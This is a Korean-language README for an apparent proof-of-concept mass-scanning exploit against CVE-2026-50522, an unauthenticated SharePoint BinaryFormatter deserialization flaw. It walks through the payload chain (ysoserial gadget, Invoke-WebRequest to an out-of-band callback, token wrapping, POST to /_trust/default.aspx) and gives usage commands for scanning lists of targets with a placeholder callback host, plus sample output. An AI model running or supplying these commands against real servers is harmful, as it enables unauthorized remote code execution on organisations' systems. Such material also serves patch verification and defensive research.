CVE-2026-50522 Poc : SharePoint 역직렬화 RCE

SecurityContextToken 쿠키 역직렬화를 통한 SharePoint 서버 비인증 원격 코드 실행

CVE-2026-50522를 대상으로 하는 대량 스캔 익스플로잇으로, 온프레미스 Microsoft SharePoint Server를 대상으로 합니다. WS-Federation 엔드포인트 /_trust/default.aspx 에서 안전하지 않은 BinaryFormatter 역직렬화를 악용하여 조작된 SecurityContextToken 쿠키를 통해 비인증 코드 실행을 달성합니다.

참고: 이 프로젝트에는 알려진 침투 테스트 도구인 ysoserial이 포함되어 있으므로 다운로드 중에 바이러스 백신이 이를 플래그하거나 격리할 수 있습니다.

취약점 정보

• CVE: CVE-2026-50522
• 유형: CWE-502 신뢰할 수 없는 데이터 역직렬화
• CVSS 3.1: 9.8 (Critical)
• 인증: 비인증
• 영향 받는 버전:
  • Microsoft SharePoint Server Subscription Edition (16.0.19725.20434 이전)
  • Microsoft SharePoint Server 2019 (16.0.10417.20175 이전)
  • Microsoft SharePoint Enterprise Server 2016 (16.0.5561.1001 이전)

작동 원리

1. ysoserial.exe가 TypeConfuseDelegate 가젯을 사용하여 BinaryFormatter 직렬화된 페이로드를 생성합니다.
2. 페이로드는 대역 외 콜백 URL에 대해 Invoke-WebRequest를 실행합니다.
3. 원시 바이트는 zlib으로 압축되고 Base64로 인코딩되어 쿠키 값이 됩니다.
4. 쿠키는 SecurityContextToken XML 구조 내에 래핑됩니다.
5. 토큰은 RequestSecurityTokenResponse(WS-Federation)에 포함됩니다.
6. wresult 매개변수가 /_trust/default.aspx에 POST됩니다.
7. SharePoint가 토큰을 역직렬화하여 IIS 작업자 프로세스에서 코드 실행을 트리거합니다.

요구 사항

• Python 3.10+ 및 requests 라이브러리
• ysoserial.net (다운로드)
• OOB 콜백 서버 (Burp Collaborator, interactsh, OAST)

사용법

단일 대상

python CVE-2026-50522.py -t http://10.10.10.5 -c http://YOUR_ID.oastify.com

대량 스캔

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com

사용자 정의 ysoserial 경로

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com --ysoserial C:\tools\ysoserial.exe

프록시 사용

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com -x http://127.0.0.1:8080

서브도메인 콜백 모드

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com --callback-mode subdomain

옵션

콜백 모드

Path 모드 (기본값):

http://YOUR_ID.oastify.com/10.10.10.5

Subdomain 모드:

http://10.10.10.5.YOUR_ID.oastify.com

예시 출력

[*] 50 target(s) | callback: http://abc123.oastify.com (path) | ysoserial: ysoserial.exe
[10.10.10.5] [+] 200 [LOGIN_PAGE,AUTH_COOKIE]
[10.10.10.6] [!] 200 [AMSI_BLOCKED]
[10.10.10.7] [!] TIMEOUT
[10.10.10.8] [!] SSL_ERR
[10.10.10.9] [!] 403 [HTTP_403]

[*] 45.2s | 50 total | 12 potential | 3 amsi | 5 failed

참고 자료

• Microsoft - CVE-2026-50522
• SOCRadar - CVE-2026-50522 PoC, SharePoint 공격에 기름을 붓다
• thehackernews - 공개 PoC 이후 활발히 악용되는 치명적인 SharePoint RCE CVE-2026-50522